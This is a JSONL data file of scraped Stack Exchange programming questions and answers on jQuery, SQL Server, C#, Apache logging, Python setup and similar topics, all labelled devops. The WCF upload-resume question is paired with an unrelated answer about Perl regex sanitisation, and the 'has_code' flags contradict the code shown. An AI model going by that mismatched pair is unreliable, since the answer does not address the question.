{"id": "hf_ec9fda4214a3", "question": "<p>If I had the following select, and did not know the value to use to select an item in advance like in this <a href=\"https://stackoverflow.com/questions/196684/jquery-get-select-option-text\">question</a> or the index of the item I wanted selected, how could I select one of the options with jQuery if I did know the text value like Option C?</p>\n\n<pre><code>&lt;select id='list'&gt;\n&lt;option value='45'&gt;Option A&lt;/option&gt;\n&lt;option value='23'&gt;Option B&lt;/option&gt;\n&lt;option value='17'&gt;Option C&lt;/option&gt;\n&lt;/select&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nvar option;\n$('#list option').each(function() {\n    if($(this).text() == 'Option C') {\n        option = this;\n        return false;\n    }\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.091292"}
{"id": "hf_ec1ba0985410", "question": "<p>In a database prototype, I have a set of fields (like name, description, status) that are required in multiple, functionally different tables.</p>\n\n<p>These fields always have the same end user functionality for labeling, display, search, filtering etc. They are not part of a foreign key constraint. How should this be modeled?</p>\n\n<p>I can think of the following variants:</p>\n\n<ul>\n<li><p>Each table gets all these attributes. In this case, how would you name them? The same, in each table, or with a table name prefix (like usrName, prodName)</p></li>\n<li><p>Move them into a table Attributes, add a foreign key to the \"core\" tables, referencing Attributes.PK</p></li>\n<li><p>As above, but instead of a foreign key, use the Attributes.PK as PK in the respective core table as well.</p></li>\n</ul>\n", "question_body": "", "answer": "Normalisation is often best practice in any relational database (within reason).\nIf you have fields like state (meaning the state within a country), then a reference table like \"State\" with (id, short_name, long_name etc...) might be the way to go, then each record that references a state only need a state_id column which, as you did mention, is a reference to a record in the State table.\nHowever, in some instances normalisation of all data is not necessarily required as it just complicates things, but it should be obvious where to do it and where not to do it.\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.126612"}
{"id": "hf_db9f7893644d", "question": "<p>In VB6 you can do this:</p>\n\n<pre><code>Dim a As Variant\na = Array(1, 2, 3)</code></pre>\n\n<p>Can you do a similar thing in VB.NET with specific types, like so?:</p>\n\n<pre><code>Dim a() As Integer\na = <strong>Array</strong>(1, 2, 3)</code></pre>\n", "question_body": "", "answer": "```\n```\nDim a() As Integer = New Integer() {1, 2, 3}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.150639"}
{"id": "hf_5e4c7c725cfd", "question": "<p>I'm trying to parse an international datetime string similar to:</p>\n\n<pre><code>24-okt-08 21:09:06 CEST\n</code></pre>\n\n<p>So far I've got something like:</p>\n\n<pre><code>CultureInfo culture = CultureInfo.CreateSpecificCulture(\"nl-BE\");\nDateTime dt = DateTime.ParseExact(\"24-okt-08 21:09:06 CEST\",\n    \"dd-MMM-yy HH:mm:ss ...\", culture);\n</code></pre>\n\n<p>The problem is what should I use for the '...' in the format string? Looking at the <a href=\"http://msdn.microsoft.com/en-us/library/8kb3ddd4.aspx\" rel=\"noreferrer\">Custom Date and Time Format String</a> MSDN page doesn't seem to list a format string for parsing timezones in PST/CEST/GMT/UTC form.</p>\n", "question_body": "", "answer": "AFAIK the time zone abbreviations are not recognized. However if you replace the abbreviation with the time zone offset, it will be OK. E.g.:\n```\n```\nDateTime dt1 = DateTime.ParseExact(\"24-okt-08 21:09:06 CEST\".Replace(\"CEST\", \"+2\"), \"dd-MMM-yy HH:mm:ss z\", culture);\nDateTime dt2 = DateTime.ParseExact(\"24-okt-08 21:09:06 CEST\".Replace(\"CEST\", \"+02\"), \"dd-MMM-yy HH:mm:ss zz\", culture);\nDateTime dt3 = DateTime.ParseExact(\"24-okt-08 21:09:06 CEST\".Replace(\"CEST\", \"+02:00\"), \"dd-MMM-yy HH:mm:ss zzz\", culture);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.185663"}
{"id": "hf_cf2531dd2aad", "question": "<p>There have been a couple of questions that sort of dealt with this but not covering my exact question so here we go.</p>\n\n<p>For site settings, if these are stored in a database do you:</p>\n\n<ol>\n<li>retrieve them from the db every time someone makes a request</li>\n<li>store them in a session variable on login</li>\n<li>???????</li>\n</ol>\n\n<p>For user specific settings do I do the same as site settings??</p>\n\n<p>Any guidance/best practice would be greatly appreciated.</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "Generally I would put site settings in the web.config file, unless you are building an application that has multiple sites and gets changed by the application itself frequently, it usually wouldn't make sense to put it in the database at first.\nFor user specific settings I would look into starting with the default asp.net Profile Provider which will store the settings in the database and manage the retrival of the user settings once per Request and save the updates to the end to minimize the number of DB calls. Once you start to hit performance problems you can consider extending the profile provider for caching and/or your specific needs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.209404"}
{"id": "hf_da2c5d9d369f", "question": "<p>I am writing a desktop application written in Swing developed using Java 1.5. Some of the users seem to be using Mac, but I am interested in Java 6's scripting feature (Java 6 ships with Rhino). Java 6, although it came out almost 2 years ago, doesn't seem to be widely in use. I also hear <a href=\"https://stackoverflow.com/questions/230253/java-16-sdk-on-mac-os-105\">Apple ships Java 6 only for Intel 64 Macs only</a>. <a href=\"http://refactorama.blogspot.com/2008/05/java-6-compile-once-run-nowhere.html\" rel=\"nofollow noreferrer\">Is Java 1.5 the last Java that runs everywhere?</a></p>\n\n<p>Is Java 6 ready for end-user desktop application now? If not now, when?</p>\n\n<p><strong>Edit</strong>: \nDon't get too hung up on the fact that I am using Swing. I would like to know when Java 6 can be considered ready for prime time, not the choice of UI library.</p>\n", "question_body": "", "answer": "Java 6 is not officially out for all Macs yet.  If you want to be more widely accepted, go with 1.5 (5).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.231874"}
{"id": "hf_f56c21e646e8", "question": "<p>What's the difference between the two and when should I use each:</p>\n\n<pre><code>&lt;person&gt;\n     &lt;firstname&gt;Joe&lt;/firstname&gt;\n     &lt;lastname&gt;Plumber&lt;/lastname&gt;\n&lt;/person&gt;\n</code></pre>\n\n<p>versus</p>\n\n<pre><code>&lt;person firstname=\"Joe\" lastname=\"Plumber\" /&gt;\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "In my company, we would favour the 2nd approach.\nThe way we think about it is that \"firstname\" and \"lastname\" are\nattributes\nof the \"person\" node, rather than\nsub-fields\nof the \"person\" node.  It's a subtle difference.\nIn my opinion the 2nd approach is more concise, and readability/maintainability is significantly improved, which is very important.\nOf course it would depend on your application.  I don't think there is a blanket rule that covers all scenarios.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.255398"}
{"id": "hf_b3ee91d2c5b2", "question": "<p>Has anyone had experience with MySource Matrix as a content management system? If so, thoughts/opinions/comments? </p>\n\n<p>Thanks in advance. </p>\n", "question_body": "", "answer": "Absolutely excellent. It takes little while to get used to how it does things with its asset structure, but it is really flexible and powerful. Simple edit interfaces are great too.\nMake sure you give it enough hardware. If you want dynamic content without caching you need heaps of grunt to make it hum.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.314071"}
{"id": "hf_ce4f49dbd5c5", "question": "<p>I'm trying to use XPath to parse an XML document. One of my NSXMLElement's looks like the following, hypothetically speaking:</p>\n\n<pre><code>&lt;foo bar=\"yummy\"&gt;\n</code></pre>\n\n<p>I'm trying to get the value for the attribute bar, however any interpretation of code I use, gives me back bar=\"woo\", which means I need to do further string processing in order to obtain access to woo and woo alone.</p>\n\n<p>Essentially I'm doing something like</p>\n\n<pre><code>NSArray *nodes = [xmlDoc nodesForXPath:@\"foo/@bar\" error:&amp;error];\nxmlElement = [nodes objectAtIndex:0];\n</code></pre>\n\n<p>Is there anyway to write the code above to just give me yummy, versus bar=\"yummy\" so I can relieve myself of parsing the string?</p>\n\n<p>Thanks.</p>\n\n<hr>\n\n<p>Assuming TouchXML is being used, is there still anyway to obtain similar results? As in grabbing just the value for the attribute, without the attribute=\"value\"? That results in then further having to parse the string to get the value out.</p>\n", "question_body": "", "answer": "If you're trying to use the NSXMLDocument class on an iPhone, you're going to be sorely disappointed, because this class (and related NSXMLNode, NSXMLElement, etc classes) are not available on the phone (they ARE available in the Simulator, which can be confusing).\nTake a look at libxml2 to do XML parsing on the phone. There are several free frameworks (I believe TouchXML is a good one) for doing this.\nThat being said, if you want to run this code on a Mac, you can use the NSXMLElement method\n```\n-attributeForName:\n```\nto pull out just the attribute you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.349790"}
{"id": "hf_26f6b5283496", "question": "<p>Say I want to get the HTML of</p>\n\n<pre>http://www.google.com</pre>\n\n<p>as a String using some built-in classes of the Cocoa Touch framework.</p>\n\n<p>What is the least amount of code I need to write?</p>\n\n<p>I've gotten this far, but can't figure out how to progress. There must be an easier way.</p>\n\n<pre><code>CFHTTPMessageRef req;\nNSURL *url = [NSURL URLWithString:@\"http://www.google.com\"];\nreq = CFHTTPMessageCreateRequest(kCFAllocatorDefault,\n                                 CFSTR(\"GET\"),\n                                 (CFURLRef)url,\n                                 kCFHTTPVersion1_1);\n</code></pre>\n", "question_body": "", "answer": "The\nquickest\nway is to use NSString's\n```\n+stringWithContentsOfURL:\n```\nmethod. However, this is a modal call, and your application will be non-responsive while it runs. You can either move it to a background thread, or use the NSURLConnection class to make a proper, asynchronous request.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.373634"}
{"id": "hf_b2ce21369200", "question": "<p>I'm investigating SUDS as a SOAP client for python.  I want to inspect the methods available from a specified service, and the types required by a specified method.</p>\n\n<p>The aim is to generate a user interface, allowing users to select a method, then fill in values in a dynamically generated form.</p>\n\n<p>I can get some information on a particular method, but am unsure how to parse it:</p>\n\n<pre><code>client = Client(url)\nmethod = client.sd.service.methods['MyMethod']\n</code></pre>\n\n<p>I am unable to <strong>programmaticaly</strong>  figure out what object type I need to create to be able to call the service</p>\n\n<pre><code>obj = client.factory.create('?')\n\nres = client.service.MyMethod(obj, soapheaders=authen)\n</code></pre>\n\n<p>Does anyone have some sample code?</p>\n", "question_body": "", "answer": "According to\n```\nsuds\n```\ndocumentation\n, you can inspect\n```\nservice\n```\nobject with\n```\n__str()__\n```\n. So the following gets a list of methods and complex types:\n```\n```\nfrom suds.client import Client;\n\nurl = 'http://www.webservicex.net/WeatherForecast.asmx?WSDL'\nclient = Client(url)\n\ntemp = str(client);\n```\n```\nThe code above produces following result (contents of\n```\ntemp\n```\n):\n```\n```\nSuds ( https://fedorahosted.org/suds/ )  version: 0.3.4 (beta)  build: R418-20081208\n\nService ( WeatherForecast ) tns=\"http://www.webservicex.net\"\n   Prefixes (1)\n      ns0 = \"http://www.webservicex.net\"\n   Ports (2):\n      (WeatherForecastSoap)\n         Methods (2):\n            GetWeatherByPlaceName(xs:string PlaceName, )\n            GetWeatherByZipCode(xs:string ZipCode, )\n         Types (3):\n            ArrayOfWeatherData\n            WeatherData\n            WeatherForecasts\n      (WeatherForecastSoap12)\n         Methods (2):\n            GetWeatherByPlaceName(xs:string PlaceName, )\n            GetWeatherByZipCode(xs:string ZipCode, )\n         Types (3):\n            ArrayOfWeatherData\n            WeatherData\n            WeatherForecasts\n```\n```\nThis would be much easier to parse. Also every method is listed with their parameters along with their types. You could, probably, even use just regular expression to extract information you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.444512"}
{"id": "hf_a4e5b5e202a2", "question": "<p>How do I alternate HTML table row colors using JSP?</p>\n\n<p>My CSS looks something like:</p>\n\n<pre><code>tr.odd {background-color: #EEDDEE}\ntr.even {background-color: #EEEEDD}\n</code></pre>\n\n<p>I want to use <code>&lt;c:forEach&gt;</code> to iterate over a collection. </p>\n\n<pre><code>&lt;c:forEach items=\"${element}\" var=\"myCollection\"&gt;\n  &lt;tr&gt;\n    &lt;td&gt;&lt;c:out value=\"${element.field}\"/&gt;&lt;/td&gt;\n    ...\n  &lt;/tr&gt;\n&lt;/c:forEach&gt;\n</code></pre>\n\n<p>I need an int count variable or boolean odd/even variable to track the row. Then my <code>&lt;tr&gt;</code> tag would look something like:</p>\n\n<pre><code>&lt;tr class=\"odd or even depending on the row\"&gt;\n</code></pre>\n", "question_body": "", "answer": "I don't use JSP, so I can't give you an answer in your language, but here's what I do (using pseudo code)\n```\n```\ncounter = 0\nforeach (elements)\n    counter = counter + 1\n    output: <tr class=\"row{counter % 2}\">...</tr>\n```\n```\nPersonally, I name the classes \"row0\" and \"row1\", which lets you alternate between them with a simple modulus calculation, also, if you decide to have rows alternating in triples or quads (instead of pairs), you can easily extend it to\n```\nrow2\n```\n,\n```\nrow3\n```\nand change your output code to be\n```\ncounter % 4\n```\n, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.468292"}
{"id": "hf_64f7c7b0539d", "question": "<p>I would like create a web service in ASP.Net 2.0 that will supports JSON.  Is there a way to do this without WCF and .Net 3.5?  Can anyone point me to a good article or sample code?  </p>\n\n<p><strong>Clarification</strong></p>\n\n<p>I need direction on what is the best method, using the .Net 2.0 framework, to communicate JSON objects to a client.  Is it possible to do this without serializing the object to a string and then deserializing on the client?</p>\n", "question_body": "", "answer": "You can utilize WCF for your website, The WCF JSON endpoint can even generate javascript client proxy for the service.\nCheck out this post\nREST / SOAP endpoints for a WCF service\nA download sample can be found\nhttp://www.codemeit.com/wcf/wcf-restful-pox-json-and-soap-coexist.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.491965"}
{"id": "hf_196ecc253c83", "question": "<p>I have a number of generated .sql files that I want to run in succession.  I'd like to run them from a SQL statement in a query (i.e. Query Analyzer/Server Management Studio).<br>\nIs it possible to do something like this and if so what is the syntax for doing this?</p>\n\n<p>I'm hoping for something like:</p>\n\n<pre><code>exec 'c:\\temp\\file01.sql' \nexec 'c:\\temp\\file02.sql'\n</code></pre>\n\n<p>I am using SQL Server 2005 and running queries in management studio.</p>\n", "question_body": "", "answer": "use\nxp_cmdshell\nand\nsqlcmd\n```\n```\nEXEC xp_cmdshell  'sqlcmd -S ' + @DBServerName + ' -d  ' + @DBName + ' -i ' + @FilePathName\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.527250"}
{"id": "hf_4e6f773b2adc", "question": "<p>The deceptively simple foundation of dynamic code generation within a C/C++ framework has already been covered in <a href=\"https://stackoverflow.com/questions/45408/\">another question</a>. Are there any gentle introductions into topic with code examples?  </p>\n\n<p>My eyes are starting to bleed staring at highly intricate open source JIT compilers when my needs are much more modest.</p>\n\n<p>Are there good texts on the subject that don't assume a doctorate in computer science? I'm looking for well worn patterns, things to watch out for, performance considerations, etc. Electronic or tree-based resources can be equally valuable. You can assume a working knowledge of (not just x86) assembly language.</p>\n", "question_body": "", "answer": "I'm not aware of any sources specifically related to JITs, but I imagine that it's pretty much like a normal compiler, only simpler if you aren't worried about performance.\nThe easiest way is to start with a VM interpreter.  Then, for each VM instruction, generate the assembly code that the interpreter would have executed.\nTo go beyond that, I imagine that you would parse the VM byte codes and convert them into some sort of suitable intermediate form (three address code?  SSA?) and then optimize and generate code as in any other compiler.\nFor a stack based VM, it may help to to keep track of the \"current\" stack depth as you translate the byte codes into intermediate form, and treat each stack location as a variable.  For example, if you think that the current stack depth is 4, and you see a \"push\" instruction, you might generate an assignment to \"stack_variable_5\" and increment a compile time stack counter, or something like that.  An \"add\" when the stack depth is 5 might generate the code \"stack_variable_4 = stack_variable_4+stack_variable_5\" and decrement the compile time stack counter.\nIt is also possible to translate stack based code into syntax trees.  Maintain a compile-time stack.  Every \"push\" instruction causes a representation of the thing being pushed to be stored on the stack.  Operators create syntax tree nodes that include their operands.  For example, \"X Y +\" might cause the stack to contain \"var(X)\", then \"var(X) var(Y)\" and then the plus pops both var references off and pushes \"plus(var(X), var(Y))\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.550403"}
{"id": "hf_62fd73529f71", "question": "<p>How do I drop a Groovlet into a Grails app?  Say, for example, in web-app/groovlet.groovy</p>\n\n<pre>\nimport java.util.Date\n\nif (session == null) {\n  session = request.getSession(true);\n}\n\nif (session.counter == null) {\n  session.counter = 1\n}\n\nprintln \"\"\"\n&lt;html>\n    &lt;head>\n        &lt;title>Groovy Servlet&lt;/title>\n    &lt;/head>\n    &lt;body>\nHello, ${request.remoteHost}: Counter: ${session.counter}! Date: ${new Date()}\n&lt;br>\n\"\"\"\n\n</pre>\n", "question_body": "", "answer": "The way I understand it, groovlets are used when you have a Servlet container with Groovy scripting support,\nI think in Grails you would need to move your business logic code to a\ncontroller\nand leave the view part to an HTML or a\nGSP file\n.\nSomething along those lines (meta-code from the top of my head, not tested):\ngrails-app/controllers/SampleController.groovy\n```\n```\nclass DateController {\n    def index = {\n        if (session == null) {\n          session = request.getSession(true);\n        }\n\n        if (session.counter == null) {\n          session.counter = 1\n        }\n    }\n}\n```\n```\nweb-app/sample/index.gsp\n```\n```\n<html>\n    <head>\n    <title>Groovy Servlet</title>\n    </head>\n    <body>\nHello, ${request.remoteHost}: Counter: ${session.counter}! Date: ${new Date()}\n<br>\n```\n```\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.612618"}
{"id": "hf_10f86d28cd20", "question": "<p>How to set internationalization to a <code>DateTimepicker</code> or <code>Calendar WinForm</code> control in .Net when the desire culture is different to the one installed in the PC?</p>\n", "question_body": "", "answer": "For DateTimePicker\n```\n```\ndtp.Format = DateTimePickerFormat.Custom;\ndtp.CustomFormat = \"yyyy-MM-dd\"; // or the format you prefer\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.636558"}
{"id": "hf_126301d400e3", "question": "<p>I am playing with the new stuff of C#3.0 and I have this code (mostly taken from <a href=\"http://msdn.microsoft.com/en-us/vcsharp/aa336746.aspx\" rel=\"noreferrer\">MSDN</a>) but I can only get true,false,true... and not the real value :</p>\n\n<pre><code>        int[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };\n\n        var oddNumbers = numbers.Select(n =&gt; n % 2 == 1);\n\n        Console.WriteLine(\"Numbers &lt; 5:\");\n        foreach (var x in oddNumbers)\n        {\n            Console.WriteLine(x);\n        }\n</code></pre>\n\n<p>How can I fix that to show the list of integer?</p>\n", "question_body": "", "answer": "Change your \"Select\" to a \"Where\"\n```\n```\nint[] numbers = { 5, 4, 1, 3, 9, 8, 6, 7, 2, 0 };\n\n    var oddNumbers = numbers.Where(n => n % 2 == 1);\n\n    Console.WriteLine(\"Odd Number:\");\n    foreach (var x in oddNumbers)\n    {\n        Console.WriteLine(x);\n    }\n```\n```\nThe \"Select\" method is creating a new list of the lambda result for each element (true/false).  The \"Where\" method is filtering based on the lambda.\nIn C#, you could also use this syntax, which you may find clearer:\n```\n```\nvar oddNumbers = from n in numbers\n                         where n % 2 == 1\n                         select n;\n```\n```\nwhich the compiler translates to:\n```\n```\nvar oddNumbers = numbers.Where(n => n % 2 == 1).Select(n => n);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.660120"}
{"id": "hf_88f1c857caab", "question": "<p>When I restart my apache2 and reload a page, the log file shows</p>\n\n<pre><code>boogie.tontut.fi - - [28/Oct/2008:03:27:49 +0200] \"GET /test HTTP/1.1\" 404 457 \"-\" \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\"\n</code></pre>\n\n<p>...as supposed to, as it's <code>03:27:49</code> now. However, when I click the refresh button again, the new log entry is:</p>\n\n<pre><code>boogie.tontut.fi - - [27/Oct/2008:21:27:52 -0400] \"GET /test HTTP/1.1\" 404 457 \"-\" \"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\"\n</code></pre>\n\n<p>Offset has changed from <code>+0200 to -0400</code> and I have no clue where this comes from.</p>\n\n<p>How can I start troubleshooting this problem?</p>\n", "question_body": "", "answer": "Try and set your timezone explicitly in the\n```\nhttpd.conf\n```\n:\n```\n```\nSetEnv TZ GMT+2\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.706888"}
{"id": "hf_5faebb3c759e", "question": "<p>I would like to be able to drop to the python REPL from the debugger -- if this is not possible is there an easier way to evaluate python expressions in the context of the  current breakpoint other than manually adding them all as watch expressions?</p>\n", "question_body": "", "answer": "I don't use\npydev\n, but to drop to python's interactive REPL from code:\n```\n```\nimport code\ncode.interact(local=locals())\n```\n```\nTo drop to python's debugger from code:\n```\n```\nimport pdb\npdb.set_trace()\n```\n```\nFinally, to run a interactive REPL after running some code, you can use python's\n```\n-i\n```\nswitch:\n```\n```\npython -i script.py\n```\n```\nThat will give you a python prompt after the code, even if it throws an exception.\nYou may be able to hook some of those solutions into\npydev\n, I think.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.759206"}
{"id": "hf_c5a31cce3365", "question": "<p>Is there a way to get the directory of a project in Eclipse?  We are writing a plugin that will allow the user to select files, and then run some processes on those files.  I would ideally like to be able to get all the files with a certain extension, but that is not necessary.</p>\n", "question_body": "", "answer": "sure:\n```\n```\nResourcesPlugin.getWorkspace().getRoot().getProjects()\n```\n```\nwill get you a list of all the projects in the workspace.  you can easily iterate to find the one you want.  At that point, you can look for certain files by extensions, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.793803"}
{"id": "hf_eb4b9cb92be9", "question": "<p>I have been enjoying learning the basics of python, but before I started reading things I tried to install various python versions and modules clumsily. Now that I have some ideas of what I want to do and how to do it I'm finding that various aspects are broken. For instance, 2.6 IDLE won't launch, and when I try to import modules they usually don't work.</p>\n\n<p>My question is, how would you recommend I clean this up and start fresh? I have read information about modifying the 2.6 install, but I still can't get it to work.</p>\n\n<p>IDLE 2.4 works, and when I launch python from the terminal I am running python 2.4.4.</p>\n", "question_body": "", "answer": "I had this problem so much when I first got my Mac. The best solution I found was to delete everything I'd installed and just go with the\npythonmac.org\nversion of Python (2.6). I then installed setuptools from the same site, and then used easy_install to install every other package.\nOh, and I got the GNU C Compiler from the Xcode developer tools CD (which you can download from Apple's website), so that I can compile C extensions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.829319"}
{"id": "hf_c99258477678", "question": "<p>I am currently validating a client's HTML Source and I am getting a lot of validation errors for images and input files which do not have the Omittag. I would do it manually but this client literally has thousands of files, with a lot of instances where the  is not .</p>\n\n<p>This client has validated some img tags (for whatever reason).</p>\n\n<p>Just wondering if there is a unix command I could run to check to see if the  does not have a Omittag to add it.</p>\n\n<p>I have done simple search and replaces with the following command:</p>\n\n<pre><code>find . \\! -path '*.svn*' -type f -exec sed -i -n '1h;1!H;${;g;s/&lt;b&gt;/&lt;strong&gt;/g;p}' {} \\; \n</code></pre>\n\n<p>But never something this large. Any help would be appreciated.</p>\n", "question_body": "", "answer": "Try this. It'll go through your files, make a\n```\n.orig\n```\nbackup of each file (perl's\n```\n-i\n```\noperator), and replace\n```\n<img>\n```\nand\n```\n<input>\n```\ntags with\n```\n<img />\n```\nand\n```\n<input >\n```\n.\n```\n```\nfind . \\! -path '*.svn*' -type f -exec perl -pi.orig -e 's{ ( <(?:img|input)\\b ([^>]*?) ) \\ ?/?> }{$1\\ />}sgxi' {} \\;\n```\n```\nGiven input:\n```\n```\n<img>  <img/>  <img src=\"..\">  <img src=\"\" >\n<input>  <input/>  <input id=\"..\">  <input id=\"\" >\n```\n```\nIt changes the file to:\n```\n```\n<img />  <img />  <img src=\"..\" />  <img src=\"\" />\n<input />  <input />  <input id=\"..\" />  <input id=\"\" />\n```\n```\nHere's what the regexp is doing:\n```\n```\ns{(<(?:img|input)\\b ([^>]*?)) # capture \"<img\" or \"<input\" followed by non-\">\" chars\n  \\ ?/?>}                     # optional space, optional slash, followed by \">\"\n{$1\\ />}sgxi                  # replace with: captured text, plus \" />\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.853097"}
{"id": "hf_e872bdf5e7f2", "question": "<p>I am using WCF to upload data to a server.</p>\n\n<p>If the communication fails, is there any way to resume the upload?</p>\n", "question_body": "", "answer": "You will probably have to do some level of sanitisation. For example, the\nperlre\nman page describes the following construct:\n```\n```\n(?{ code })\n```\n```\nwhich allows executable code inside a pattern match.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.954453"}
{"id": "hf_71d04ebd8b3e", "question": "<p>How is Silverlight going to change the internet in the next 10 years?</p>\n\n<p>Is this going to be a scene changer or just another blip?</p>\n", "question_body": "", "answer": "It will be another blip.  It's not seriously cross-platform, unlike Flash or any of its other competition, and no one seems particularly interested in it.  It might be neat and shiny but I haven't seen any real reason to move past playing around with it.\nPut another way, it's a cool toy but not much else.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:21.990495"}
